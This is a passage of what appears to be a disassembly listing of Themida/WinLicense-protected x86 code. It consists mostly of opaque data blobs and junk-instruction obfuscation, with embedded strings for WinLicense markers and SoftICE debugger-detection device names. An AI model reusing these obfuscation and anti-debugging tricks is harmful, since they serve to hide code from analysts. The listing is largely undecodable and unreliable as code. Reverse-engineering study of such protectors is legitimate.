17F02406h, 4C2835Fh, 0E9241433h, 0FFFFEF77h dd 4BFh, 5FFB8900h, 3A2CE956h, 5751FFFFh, 0C781E789h, 4 dd 4EF81h, 3C870000h, 77EFE924h, 0DCBAFFFFh, 4234A714h dd 0E9E18951h, 0FFFF0776h, 0FCB9514Fh, 8142E76Dh, 0CB3EE2C1h dd 41D9F76Dh, 8104E9C1h, 0F7182FF1h, 0C7E9817Ch, 164BABBh dd 86E959CFh db 0ECh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557707: ; CODE XREF: Themida_:005509FDj mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] not esi xor [esp], esi xor esi, [esp] xor [esp], esi push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp push 1450h mov [esp], ebp jmp loc_5571EE ; --------------------------------------------------------------------------- dw 489h aQGfh db '$´ÂQ±Gfh',0 align 2 dw 0C28h dd 240C8A24h, 0F602C483h, 2AE980D1h, 8841F180h, 0E23059CAh dd 66D32858h, 0B115E95Ah db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557762: ; CODE XREF: Themida_:005475EEj push esp jmp loc_543955 ; --------------------------------------------------------------------------- dd 0E9243433h, 0FFFF21BAh, 0D1F7D9F7h, 72F8E981h, 0CE09B8ACh dd 81D6F759h, 0D2941EEEh, 23A268C6h, 0F0E90000h, 81FFFFAAh dd 5E7533EEh, 0BDBB534Bh, 293C713Bh, 34FF5BDEh, 31685F24h dd 89000048h, 0E9542434h, 0FFFED5C7h, 69E8C681h, 0F10130DFh dd 4C1835Eh, 0FF4E26E9h, 0C73195FFh, 41E9F831h, 0FFFFFFE0h dd 81592434h, 4C4h, 59EA3000h, 0E95AD028h, 0FFFFB8EEh dd 5024348Bh, 0FFBF85E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h dd 0FF4987E9h db 0FFh ; --------------------------------------------------------------------------- loc_5577FD: ; CODE XREF: Themida_:00557AF8j mov [esp], ecx mov ecx, 4 add esi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_556F4C ; --------------------------------------------------------------------------- dw 3C89h dd 0A9BE5624h, 52470708h, 4C29F3BAh, 2AF28163h, 0E9993B45h dd 0FFFEF13Ah, 0DD88D388h, 8BEB885Bh, 0C483240Ch, 875C8804h dd 241C8B01h, 0FFDB50E9h, 7EAC1FFh, 397C281h, 0D7296F61h dd 81EF015Ah, 0BF022DC7h, 4BF5E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557862: ; CODE XREF: Themida_:0054D57Bj mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_554187 ; --------------------------------------------------------------------------- dd 0FF240489h, 0FF042474h, 51582434h, 0C1815954h, 4, 0FED2B6E9h dd 243C8BFFh, 0FF12CBE9h, 50C9FEFFh, 2E99DB0h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5578A3: ; CODE XREF: Themida_:00549BCEj sub ecx, esi mov esi, [esp] add esp, 4 sub ebx, ecx mov ecx, [esp] push 7C4Dh mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop dword ptr [eax] jmp loc_54270C ; --------------------------------------------------------------------------- loc_5578D1: ; CODE XREF: Themida_:0055022Aj add esi, edx pop edx add esi, ebp sub esi, 30A95A40h pop ebp shl esi, 6 shl esi, 3 push 1126h mov [esp], ecx mov ecx, 0B89E5800h jmp loc_546A8C ; --------------------------------------------------------------------------- db 0BAh, 0B9h, 9 dd 0EAC10FA7h, 0C4F28107h, 0E95D661Bh, 0FFFFC777h ; --------------------------------------------------------------------------- loc_557908: ; CODE XREF: Themida_:00554DA2j pop esi xchg eax, ebx push esi jmp loc_553785 ; --------------------------------------------------------------------------- loc_557910: ; CODE XREF: Themida_:0054AE3Dj xor ecx, 730FD9C9h add ebx, ecx jmp loc_54E2F1 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 248B242Ch, 24042824h, 0ADDAE99Ch, 0E789FFFEh dd 4C781h, 0FBE90000h, 0B9FFFF65h, 7A4234Bh, 24E9CB89h dd 1FFFF1Eh, 0D17AE9F0h, 0FE88FFFFh, 0FEFE8BE9h, 241489FFh dd 0FF0978E9h db 0FFh ; --------------------------------------------------------------------------- loc_557961: ; CODE XREF: Themida_:0055642Cj pop eax inc eax push ecx mov ecx, 372D0F37h xor ecx, 61C55396h xor ecx, 75CF4188h jmp loc_55401F ; --------------------------------------------------------------------------- loc_55797A: ; CODE XREF: Themida_:00543310j push edi jmp loc_54FEDA ; --------------------------------------------------------------------------- dd 99073305h, 242C8B53h, 0FECE9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55798D: ; CODE XREF: Themida_:00555114j sub esp, 4 mov [esp], esi push edx mov edx, 6B460206h mov esi, edx jmp loc_554851 ; --------------------------------------------------------------------------- db 29h dd 34FF58C2h, 0C4815F24h, 4, 36A768h, 242C8900h, 4BDh dd 5DEA0100h, 5C241487h, 8B2434FFh, 0E9562414h, 0FFFF45F2h ; --------------------------------------------------------------------------- loc_5579D0: ; CODE XREF: Themida_:0054376Cj pop ebx jmp loc_546BD2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 6858C201h, 6498h, 53240489h, 4BBh, 5B585300h, 0E958C201h dd 0FFFF5D31h ; --------------------------------------------------------------------------- loc_5579F8: ; CODE XREF: Themida_:0054814Dj push small 19F8h mov [esp], cx jmp loc_5485D9 ; --------------------------------------------------------------------------- loc_557A05: ; CODE XREF: Themida_:00555F8Ej mov esi, 77924930h sub esi, 0FFFFFFFFh add esi, 406A0B9Eh xor esi, 654768A5h shr esi, 6 shr esi, 3 xor esi, 1FB21E89h xor esi, 17602269h sub esi, 17C40C76h dec esi neg esi add esi, 0F0F7550Bh add ebp, esi pop esi xchg ebp, [esp] pop esp shr ecx, 0Ah push 4AFEh mov [esp], ebx push edx jmp loc_54A4A8 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 242C8904h, 0BF57E589h, 76BA420Eh, 83FFC783h dd 0C8904ECh, 9685224h, 5A76BA42h, 0FF040EE9h, 0E9AB2CFFh dd 0FFFEF07Eh ; --------------------------------------------------------------------------- loc_557A80: ; CODE XREF: Themida_:0054DC6Fj mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_552EF2 ; --------------------------------------------------------------------------- loc_557A98: ; CODE XREF: Themida_:0054BE42j mov [esp], esi mov esi, 2DE787Dh add esi, 0CEF787Ch neg esi xor esi, 7CDB6049h push edx mov edx, esi mov eax, edx pop edx jmp loc_54F7D4 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 0FFDF31E9h, 0D830ACFFh, 0FF4AE3E9h, 1C875FFFh, 24248B24h dd 0E9240489h, 0FFFEC196h, 4B15166h, 85E9CC30h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557AE3: ; CODE XREF: Themida_:0054EDF1j push eax jmp loc_554846 ; --------------------------------------------------------------------------- loc_557AE9: ; CODE XREF: Themida_:00550F5Cj xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_5577FD ; --------------------------------------------------------------------------- loc_557AFD: ; CODE XREF: Themida_:00552305j pop esp jmp loc_552898 ; --------------------------------------------------------------------------- db 87h dd 875D2404h, 0F7DBF7EBh, 4CEB81D3h, 0E91DC0EEh, 0FFFEF6F5h ; --------------------------------------------------------------------------- loc_557B18: ; CODE XREF: Themida_:0054C8A3j mov ebx, 18D74716h mov ebp, ebx pop ebx sub esp, 4 jmp loc_54BDFF ; --------------------------------------------------------------------------- db 5Ch dd 0E9008F66h, 0FFFEBBB5h, 34D968h, 31F0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B3E: ; CODE XREF: Themida_:00552C38j xor ebp, [esp] xor [esp], ebp jmp loc_54AB58 ; --------------------------------------------------------------------------- db 68h, 0C4h, 2Eh dd 1C890000h, 0CC3AE924h, 3C8BFFFFh, 4C48324h, 53E08950h dd 3E5C30BBh, 0E1DBE902h, 0AE8FFFEh, 39000000h, 910E2CA3h dd 0BC936BA0h, 13E9E7h, 0AF740000h, 0D2296855h, 0AC2D3B60h dd 0A88A3DC3h, 49C28ACFh, 0E9515958h, 5, 2781B57Bh, 0C1815BBCh dd 5A8Ch, 7E96056h, 57000000h, 32B72665h, 9531C1ECh, 61F0755h dd 685B61h, 66000000h, 0FD5EE081h, 0A9BD295Eh, 8B061F08h dd 0DE8B3114h, 371EF281h, 816667D0h, 815023F0h, 84A477EAh dd 4CBF6655h, 32C281BEh, 8B67720Ch, 1F2B7585h, 31148906h dd 86D9D8Bh, 14E9061Fh, 18000000h, 513ABFC2h, 0F7762293h dd 35B2C86Bh, 26BC4460h, 83F4C1B8h, 853104EEh, 61F084Dh dd 0A658FE81h, 850FFFFFh, 1Fh, 2840Fh, 0E58A0000h, 22E9h dd 0C0E4BE00h, 0A24E86B0h, 80D3D7B2h, 487ADFAEh, 0E9DB2878h dd 0FFFFFF7Fh, 13BA3BF7h, 7FE1B68Fh, 0EB5946AAh, 45535536h dd 2E323352h, 6C6C64h, 41564441h, 32334950h, 6C6C642Eh dd 44544E00h, 642E4C4Ch, 0D7006C6Ch, 2000807h, 0F000700h dd 12001600h, 2403B800h, 0E908C7CEh, 91Dh, 21A09B68h, 0DDDCE906h dd 368FFFDh, 0E90621A1h, 0FFFDDDD2h, 21A21168h, 0DDC8E906h dd 9568FFFDh, 0E90621A3h, 0FFFDDDBEh, 21A42068h, 0DDB4E906h dd 0FF68FFFDh, 0E90621A4h, 0FFFDDDAAh, 21A55968h, 0DDA0E906h dd 4963FFFDh, 287D41B8h, 0E9C60D7h, 0F1B87CF3h, 0D3D3970Eh dd 0B16BB72Eh, 9007FAACh, 0B128E7CCh, 0CF46BBEDh, 0EC639C0Bh dd 26FEAA23h, 0B919B203h, 80EB0E81h, 29A2E750h, 0A21CF4A0h dd 0FBAF1FD3h, 0F9B25ED7h, 8E15F081h, 0ACA47DAh, 0F6B4649Bh dd 0ADD1790Bh, 2CDE1411h, 0EDA09767h, 0A8B5EB74h, 0BB7D2A53h dd 25DACB7Bh, 2BC7EB93h, 0F5EA073Eh, 6E46F27Bh, 105EC46h dd 3CF0294Dh, 3A6D2DAAh, 1EA15043h, 0A94DA12Fh, 3054ADF9h dd 0BE375ADDh, 9107112h, 0E96216FCh, 0AC7E29h, 0C0B5128h dd 0E28E07BBh, 0C0B510Ah, 0CE45E99Dh, 0FB629D0Ah, 1A1C5C40h dd 574867FDh, 0AA000007h, 0C488FF02h, 0E3A71EE1h, 0FFC33AC7h dd 1ADE55AAh, 0B2FE758Ch, 50B1F5F8h, 719E15D9h, 8F7236FAh dd 0AC535418h, 47F36C35h, 19B2016Fh, 4557CA02h, 0B40B9D62h dd 0E9950E83h, 15F50274h, 4BD44D01h, 0F541C79Fh, 80A65A25h dd 36BEA7BAh, 97103429h, 0B930D1D7h, 0BC4EB3F5h, 0F9609F08h dd 0F00A7894h, 0EF3C5BF1h, 42000006h, 5C20976Ah, 7B3FB649h dd 975BD22Fh, 0B276ED12h, 4A960DF4h, 0E8198D90h, 906AD71h dd 27DACE92h, 44BBECB0h, 0DF8B04CDh, 19B20107h, 45EF629Ah dd 0EE249D62h, 14CBEC8Fh, 0DE709401h, 0D102B61h, 953A17CEh dd 19E6C171h, 13CB5687h, 94395128h, 0CBDC9CF0h, 56771034h dd 4000000h, 249D6245h, 2CBE4164h, 72E96084h, 0D3A18559h dd 1C0E991Fh, 0D3A19870h, 0D3772B1Fh, 4342F55Ch, 53079966h dd 670BAF60h, 7C772EEEh, 9C44D629h, 0EBE66F8h, 0C841659Ch dd 0F0D2381Ch, 0B62FE315h, 0D84FB2F6h, 67EB9414h, 41EAE31Eh dd 0B5D4660Ah, 63Eh, 0F7BC7C3Eh, 5D098618h, 1FD3A185h dd 9CC06418h, 0B244BBECh, 40B9DC5Bh, 0F08DEF94h, 71E89C15h dd 0B1F9FAADh, 2B342FCEh, 37DBE99Dh, 82B51C93h, 6AEA960Fh dd 0D1C1435h, 2157E059h, 2531AD7h, 0C8E292E4h, 43651539h dd 258347BEh, 11964ADCh, 0A9F087EEh, 0DF75FA6Bh, 5E1C0h dd 89783400h, 0A8574E12h, 0C43D6D31h, 0DF20894Dh, 0FF02A468h dd 7B823C88h, 9B5FD62Bh, 0BC80F718h, 0DA9E15ECh, 0F2BB32CDh dd 0FFF5CD79h, 508819B1h, 0D467CDDh, 6813E979h, 0D2D585A9h dd 0A87EB42Dh, 0E7FACC06h, 0C542D4F8h, 385CA505h, 0C45E1F88h dd 6C506090h, 5D35E15Ah, 0F01FD351h, 0D506983Ch, 0A7A1944Ah dd 0D71FD353h, 94F27941h, 0FEEA96F0h, 7C23FFFFh, 0A16F47F3h dd 4E021FD3h, 0C62D7A2Ah, 0E89022EDh, 0DD95CB44h, 15E45D29h dd 0AF525808h, 0BF51751Dh, 41BACF68h, 0D9CD2681h, 0E7608428h dd 0F018423Bh, 0AC23D715h, 269FF245h, 0F27B17Ah, 0B15DE61Ch dd 2C1127D9h, 5B94B86Ch, 629815A7h, 1A70D5C4h, 20BCE0E5h dd 2C10EC4Bh, 0AEAA34B3h, 0ECA17925h, 74342C10h, 428CC33h dd 560D2B6Eh, 8822E203h, 1FC33C6Dh, 28C1E58Dh, 1B3h, 2A80EBB5h dd 2FC1406Ah, 27106387h, 2A60E962h, 0FF2807ACh, 3DD9FD13h dd 15F02684h, 32D26519h, 672C8335h, 5C490992h, 0CD6911A3h dd 0FFCC83F5h, 5DB0D488h, 0B53EB7DAh, 0CC833109h, 0EC10C4FFh dd 7F2AEA73h, 0D3C05C80h, 10F5E964h, 15A75A50h, 5C10496Dh dd 0D1C473CAh, 96032258h, 0E95CEAFh, 24C571EAh, 0C9FC08F6h dd 53139C15h, 671BAD52h, 0F61ABE43h, 279E6146h, 3BD1649Ah dd 97361961h, 0B860F20Fh, 6740F014h, 85B03198h, 7F151A1Ch dd 45D60h, 5FCB000h, 24DBCA8Eh, 40C1E9ADh, 5BA405C9h, 7B8620E4h dd 0F7FEB804h, 17DB52AFh, 38FC739Ch, 561A9170h, 6E37AE51h dd 0FE7149F5h, 0CC0419B1h, 0F4467C59h, 834D8057h, 0FF388BAFh dd 1865118Ah, 9515F497h, 0A868E1h, 3DFD8A01h, 91ED116Ch dd 5DFC6Dh, 0FE22CA5Ch, 2EA75A4Eh, 4521F9A5h, 0F4B425F5h dd 16BE50BFh, 8BC4E72h, 7DF8B9Fh, 0AD25F545h, 0CCC0D302h dd 35F52EB2h, 43E78B74h, 0A898BDCh, 120B6F0h, 3D2h, 37A8725h dd 2299663Fh, 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh dd 298A4EC5h, 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0B1FDE4BCh dd 0CC3F7719h, 1CC86245h, 1FD3A144h, 29BB4660h, 0E4944881h dd 2AA3CC3h, 8F18CC5Eh, 9BBF659Bh, 0E21682BBh, 0D3396E46h dd 274D011Fh, 819E4918h, 7103A782h, 0C29B540h, 1FD2D112h dd 6DECAC42h, 0D901F094h, 8EFFFFFCh, 0B9D6245h, 950E83B4h dd 0F0AED8E9h, 32A95D15h, 0D2946FA5h, 136D85D2h, 2BBD4263h dd 0EBFC5F83h, 9BEE498Dh, 81BD7622h, 9E5215F0h, 0F4C16B0Bh dd 1522BDE7h, 0BE7E0780h, 57F317EAh, 0C427156Ah, 4AA133E7h dd 0A62FA8EDh, 32123670h, 0EB0FBEC1h, 459CAE4Fh, 269F53CAh dd 47BE4166h, 74DB2483h, 4C5FC809h, 0F38FAE44h, 46000002h dd 60249B66h, 7F43BA45h, 9B5FD62Bh, 0B67AF10Eh, 4E9A11F0h dd 0EC159194h, 0D02B175h, 2BD6D296h, 48B7F0B4h, 0E38F08D1h dd 19B1FE0Bh, 0A2F3669Eh, 0DB870095h, 15F50288h, 0C53FDF15h dd 18FCD83Bh, 6D3BFB74h, 4F591D94h, 3B6C20B2h, 0B1265DC4h dd 8D23F00Ah, 2996Eh, 41C0EC00h, 609F06CAh, 7C8525E9h dd 97684105h, 0B74A5C20h, 333AF440h, 53178E73h, 7438AF60h dd 9256CD34h, 0AA73EA15h, 0FCAD8531h, 84019B1h, 95A295h dd 288DB87h, 611515F5h, 807F28E8h, 0FE93A209h, 1EE3C585h dd 0F7BEE48Ch, 0EF273F3h, 0B965DE02h, 25F571DBh, 8438CA7Eh dd 2A4DDF22h, 3CA677ADh, 5B81802Ah, 52765376h, 84FD04A2h dd 36774FFBh, 1ECA25F5h, 25F53646h, 38EC25D9h, 0FF369D14h dd 8565118Ah, 2825F536h, 0A565E274h, 0C66E0001h, 4AB5F2A2h dd 0E21895B8h, 9D9C5590h, 0CB7B9F5Ah, 1FAC23DCh, 4612EA96h dd 0F1A525F5h, 758A1DCDh, 31DD66E3h, 25F54559h, 0A1438ECh dd 8559D825h, 0C69E4AD3h, 1925F545h, 0F545956Dh, 3B742825h dd 2ED3D787h, 0A64D5A0Ah, 4EB3F500h, 0CB8F06AAh, 149123DCh dd 1EB05F54h, 4A25276h, 0E4C484FDh, 0D0D78B1Dh, 51F59D2Fh dd 0C0E79B2Dh, 0AFF9AD3Fh, 4E32CAD0h, 0CE720374h, 0A13DB83Ch dd 0D3930C8Ch, 758A1FD4h, 5973BE3h, 6AA5751h, 1FB15056h dd 6D85377h, 0FC738C1Bh, 1936E38h, 42C13CF3h, 0D421859Ch dd 0F59D2FD2h, 9016DA51h, 7D2BDF71h, 0E360F284h, 55798623h dd 891D04DAh, 0B54AA1F6h, 0DB547000h, 0F55A572Fh, 9236EA25h dd 0AF50571Bh, 2901AD36h, 0BC25F55Bh, 0B252E408h, 4DC6821Ch dd 0FE906F38h, 0FA1604Ah, 909D41D0h, 0C65B8302h, 6D9412E1h dd 198E52C9h, 8E25D0DAh, 0A347EF81h, 51FD86FFh, 0DE68C179h dd 2724D60Ch, 26CD2430h, 7E105C82h, 97CF9510h, 792DE173h dd 0DA860F88h, 0DE68B302h, 2BBDE195h, 3FD12E77h, 50E21F8Bh dd 627B746h, 0EB6D7100h, 4AE488B5h, 22627A8h, 31AA5552h dd 8B24FCA8h, 3B7DE69h, 3A468DFh, 0A64AB5F0h, 177ABD14h dd 99E5F29Eh, 0AE62D486h, 788FF35h, 55B597EEh, 0DC0001A5h dd 5439FE65h, 9CC2FDBh, 0C579DAA9h, 0E8278C4Ch, 0AEA4C2C2h dd 5E825844h, 708F18CCh, 8D7235F9h, 0F7487EFBh, 0D7CB8341h dd 57690529h, 15F90F32h, 0DEC95886h, 0C1E6AA21h, 7C3CC53Eh dd 9B43D52Ch, 8F7227FFh, 0F6CE7AF9h, 89F98F71h, 0D7DC9CD5h dd 0DE709438h, 7807F2Ah, 0D9F6047h, 0BAF5059h, 44C355E7h dd 0DF20879Ah, 5931DD66h, 75F98F71h, 933BCD32h, 0B82A65Ah dd 269F6047h, 0EC74AF0h, 92B6F8B0h, 10E100h, 7C6A0000h dd 0A16F47F3h, 4E021FD3h, 0D4F8079Eh, 67451F86h, 5354089Ah dd 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh dd 0E1C97D0Fh, 0CBDA8E20h, 5786A234h, 0BD55E789h, 4, 835DEF01h dd 3C8704EFh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 2404895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53243C89h dd 4F56AABBh, 7DBB84Ch, 2E254AB6h, 0D0BD378h, 0E163639h dd 0B6243B35h, 3DAD2548h, 354064A9h, 0E4ED949h, 545BD831h dd 83243C8Bh, 535004C4h, 0E02FA4BBh, 245C296Fh, 478F5B04h dd 8478108h, 6FE02FA4h, 5F2434FFh, 0FF04C483h, 81582434h dd 4C4h, 0D4D4E900h, 832BFFFDh, 8C11E455h, 1D4FCF93h, 0A817B8B2h dd 0C5030621h, 0B142E0FFh, 0D86763B5h, 424C4651h, 0FB662840h dd 7CD737D4h, 0F9A752DAh, 9D5341D1h, 51036C6Eh, 6E0C63E8h dd 71E956D8h, 60000000h, 31ADBD83h, 0F00061Fh, 584h, 5CE900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah dd 61F0BD9h, 96905090h, 6A9650h, 16E595FFh, 0C361061Fh dd 202585C6h, 684D061Fh, 0BE2BF691h, 39243481h, 0FF1A1E80h dd 1F2C51B5h, 4D858D06h, 0FF061F39h, 0E58589D0h, 0E8061F16h dd 7, 0E85B8161h, 8B67EB8Eh, 0B6B45AC1h, 5DDCC281h, 5E570000h dd 0F60C933h, 30B0C9B7h, 0A1C8B61h, 14E9h, 54CB0000h, 29002D47h dd 892021FAh, 15C4DD67h, 58C2F396h, 48F381B6h, 968F863h dd 1F1A0995h, 94EB8106h, 8957FE85h, 1F063185h, 85C38106h dd 8B7898F0h, 1F0D8D85h, 0C0815306h, 273ABB02h, 890A048Fh dd 1F0ABD8Dh, 9E806h, 4DE60000h, 0C1EB8036h, 58544725h dd 0E538E981h, 858B6745h, 61F0E6Dh, 0E534C181h, 8D896745h dd 61F2D4Dh, 0A2C0F981h, 850FFFFFh, 0FFFFFF7Dh, 0AAE9h dd 666F5300h, 72617774h, 69575C65h, 63694C6Eh, 65736E65h dd 65684300h, 4E496B63h, 72705800h, 7845746Fh, 43007469h dd 6B636568h, 54554Fh, 4C6E6957h, 6E656369h, 65566573h dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 76697244h dd 65567265h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h dd 74736E49h, 65636E61h, 69784500h, 6B4F74h, 636F7250h dd 50004E49h, 4F636F72h, 45005455h, 49746978h, 7845004Eh dd 554F7469h, 70540054h, 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0AAC78589h dd 858D0621h, 621AAC3h, 2D858D50h, 500621AAh, 168h, 0D395FF80h dd 6A0621AAh, 0C7B5FF19h, 6A0621AAh, 8D006A01h, 21AA5C85h dd 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh, 621AAC3h dd 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh, 89C3061Fh dd 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h dd 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh, 6A500621h dd 8D006A04h, 21AA8685h, 0B5FF5006h, 621AAC3h, 2F8195FFh dd 0B5FF061Fh, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h dd 2DF595FFh, 89C3061Fh, 21AAC785h, 0C3858D06h, 500621AAh dd 0AA2D858Dh, 68500621h, 80000001h, 0AAD395FFh, 46A0621h dd 0AAC7858Dh, 6A500621h, 8D006A04h, 21AA6E85h, 0B5FF5006h dd 621AAC3h, 2F8195FFh, 0B5FF061Fh, 621AAC3h, 0AACF95FFh dd 0B5FF0621h, 621AAC3h, 2DF595FFh, 89C3061Fh, 21AAC785h dd 0C3858D06h, 500621AAh, 0AA2D858Dh, 68500621h, 80000001h dd 0AAD395FFh, 46A0621h, 0AAC7858Dh, 6A500621h, 8D006A04h dd 21AA9985h, 0B5FF5006h, 621AAC3h, 2F8195FFh, 0B5FF061Fh dd 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h, 2DF595FFh dd 89C3061Fh, 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh dd 6A500621h, 8D006A04h, 21AA4985h, 0B5FF5006h, 621AAC3h dd 2F8195FFh, 0B5FF061Fh, 621AAC3h, 0AACF95FFh, 0B5FF0621h dd 621AAC3h, 2DF595FFh, 83C3061Fh, 1F0215BDh, 840F0006h dd 0Bh, 2159D8Bh, 0C383061Fh, 0C303894Ch, 215BD83h, 0F00061Fh dd 0B84h, 159D8B00h, 83061F02h, 38950C3h, 15BD83C3h, 61F02h dd 0B840Fh, 9D8B0000h, 61F0215h, 8954C383h, 0BD83C303h dd 61F0215h, 0B840F00h, 8B000000h, 1F02159Dh, 58C38306h dd 83C30389h, 1F0215BDh, 840F0006h, 0Bh, 2159D8Bh, 0C383061Fh dd 0C303895Ch, 858960C3h, 621AAC7h, 0AAC3858Dh, 8D500621h dd 21AA2D85h, 1685006h, 0FF800000h, 21AAD395h, 8D046A06h dd 21AAC785h, 46A5006h, 858D006Ah, 621AABEh, 0C3B5FF50h dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h dd 2DF595FFh, 0C361061Fh, 0C7858960h, 8D0621AAh, 21AAC385h dd 858D5006h, 621AA2Dh, 16850h, 95FF8000h, 621AAD3h, 858D046Ah dd 621AAC7h, 6A046A50h, 0A0858D00h, 500621AAh, 0AAC3B5FFh dd 95FF0621h, 61F2F81h, 6C1BD83h, 0F00061Fh, 0C84h, 0C3B5FF00h dd 0FF0621AAh, 21AACF95h, 0C3B5FF06h, 0FF0621AAh, 1F2DF595h dd 60C36106h, 0AAC78589h, 858D0621h, 621AAC3h, 2D858D50h dd 500621AAh, 168h, 0D395FF80h, 6A0621AAh, 0C7858D04h dd 500621AAh, 6A046Ah, 0AAA7858Dh, 0FF500621h, 21AAC3B5h dd 8195FF06h, 83061F2Fh, 1F06C1BDh, 840F0006h, 0Ch, 0AAC3B5FFh dd 95FF0621h, 621AACFh, 0AAC3B5FFh, 95FF0621h, 61F2DF5h dd 8960C361h, 21AAC785h, 0C3858D06h, 500621AAh, 0AA2D858Dh dd 68500621h, 80000001h, 0AAD395FFh, 46A0621h, 0AAC7858Dh dd 6A500621h, 8D006A04h, 21AAAF85h, 0B5FF5006h, 621AAC3h dd 2F8195FFh, 0BD83061Fh, 61F06C1h, 0C840F00h, 0FF000000h dd 21AAC3B5h, 0CF95FF06h, 0FF0621AAh, 21AAC3B5h, 0F595FF06h dd 61061F2Dh, 858960C3h, 621AAC7h, 0AAC3858Dh, 8D500621h dd 21AA2D85h, 1685006h, 0FF800000h, 21AAD395h, 8D046A06h dd 21AAC785h, 46A5006h, 858D006Ah, 621AAB6h, 0C3B5FF50h dd 0FF0621AAh, 1F2F8195h, 0C1BD8306h, 61F06h, 0C840Fh dd 0B5FF0000h, 621AAC3h, 0AACF95FFh, 0B5FF0621h, 621AAC3h dd 2DF595FFh, 0C361061Fh, 0C785C760h, 10621AAh, 8D000000h dd 21AAC385h, 858D5006h, 621AA2Dh, 26850h, 95FF8000h, 621AAD3h dd 840FC00Bh, 0Fh, 0AAC785C7h, 621h, 4DE90000h, 6A000000h dd 0C7858D04h, 500621AAh, 6A046Ah, 0AA41858Dh, 0FF500621h dd 21AAC3B5h, 8195FF06h, 0B061F2Fh, 0F840FC0h, 0C7000000h dd 21AAC785h, 6, 0AE900h, 85C70000h, 621AAC7h, 1, 0AAC3B5FFh dd 95FF0621h, 61F2DF5h, 0C7858B61h, 0C30621AAh, 0C7858960h dd 8D0621AAh, 21AAC385h, 858D5006h, 621AA2Dh, 16850h, 95FF8000h dd 621AAD3h, 858D046Ah, 621AAC7h, 6A046A50h, 41858D00h dd 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F2F81h, 6C1BD83h dd 0F00061Fh, 0C84h, 0C3B5FF00h, 0FF0621AAh, 21AACF95h dd 0C3B5FF06h, 0FF0621AAh, 1F2DF595h, 60C36106h, 0AAC78589h dd 858D0621h, 621AAC3h, 2D858D50h, 500621AAh, 168h, 0D395FF80h dd 6A0621AAh, 0C7858D04h, 500621AAh, 6A046Ah, 0AA53858Dh dd 0FF500621h, 21AAC3B5h, 8195FF06h, 83061F2Fh, 1F06C1BDh dd 840F0006h, 0Ch, 0AAC3B5FFh, 95FF0621h, 621AACFh, 0AAC3B5FFh dd 95FF0621h, 61F2DF5h, 85C6C361h, 61F2025h, 7B076852h dd 0B5FFADE4h, 61F1BE5h, 24D595FFh, 8589061Fh, 621AAD3h dd 202585C6h, 6852061Fh, 902E00E5h, 1BE5B5FFh, 95FF061Fh dd 61F24D5h, 0AACF8589h, 85C60621h, 61F2025h, 12356852h dd 0B5FFB9BFh, 61F1BE5h, 24D595FFh, 8589061Fh, 61F2F81h dd 202585C6h, 6852061Fh, 98781034h, 1BE5B5FFh, 95FF061Fh dd 61F24D5h, 2DF58589h, 85C6061Fh, 61F2025h, 0DBD46852h dd 0B5FFC005h, 61F1BE5h, 24D595FFh, 8589061Fh, 61F3125h dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h dd 5C5C0044h, 544E5C2Eh, 454349h, 8166C08Bh, 8B86F4C6h dd 1F0CF995h, 0C1BD8306h, 61F06h, 0BD830975h, 61F1F51h dd 50197400h, 0B8C08B53h, 40Fh, 0F658589h, 9D8D061Fh, 621AFA4h dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h, 40Fh, 0F658589h dd 9D8D061Fh, 621AC93h, 585BD3FFh, 666015B2h, 8B61D08Bh dd 0B70F60C0h, 0C18D8BC1h, 61061F19h, 202585C6h, 5043061Fh dd 6859F18Ah, 88578925h, 7E8h, 0C8E72700h, 0EC866EEEh dd 59FA8B66h, 0D7240481h, 8B3436E5h, 1F05C595h, 0D9B5FF06h dd 8D061F20h, 1F394D85h, 53006A06h, 3E8h, 0C35B2000h, 